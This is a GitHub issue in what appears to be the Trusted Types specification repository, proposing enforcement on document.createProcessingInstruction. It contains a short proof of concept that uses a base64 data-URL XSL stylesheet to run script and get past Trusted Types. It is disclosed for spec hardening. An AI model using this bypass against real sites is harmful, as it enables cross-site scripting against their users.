Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Maybe enforce Trusted Types in document.createProcessingInstruction? #358

Open
shhnjk opened this issue Feb 15, 2022 · 0 comments
Open

Maybe enforce Trusted Types in document.createProcessingInstruction? #358

shhnjk opened this issue Feb 15, 2022 · 0 comments
Labels
future In consideration for the future releases of the API

Comments

@shhnjk
Copy link
Member

shhnjk commented Feb 15, 2022

Currently, there is no Trusted Types enforcement on document.createProcessingInstruction.
Found by @masatokinugawa.
https://twitter.com/kinugawamasato/status/1493571837019648003

<script>
  let attackerControlledString = 'data:text/xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHhzbDpzdHlsZXNoZWV0IHhtbG5zOnhzbD0iaHR0cDovL3d3dy53My5vcmcvMTk5OS9YU0wvVHJhbnNmb3JtIiB2ZXJzaW9uPSIxLjAiPgogIDx4c2w6b3V0cHV0IG1ldGhvZD0iaHRtbCIgIC8+CiAgPHhzbDp0ZW1wbGF0ZSBtYXRjaD0iLyI+CjxzY3JpcHQ+YWxlcnQoZG9jdW1lbnQuZG9tYWluKTwvc2NyaXB0PgogIDwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg==';
  const pi=document.createProcessingInstruction("xml-stylesheet",`href='${attackerControlledString}' type='text/xml'`);
  document.insertBefore(pi, document.firstChild);
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
future In consideration for the future releases of the API
Projects
None yet
Development

No branches or pull requests

2 participants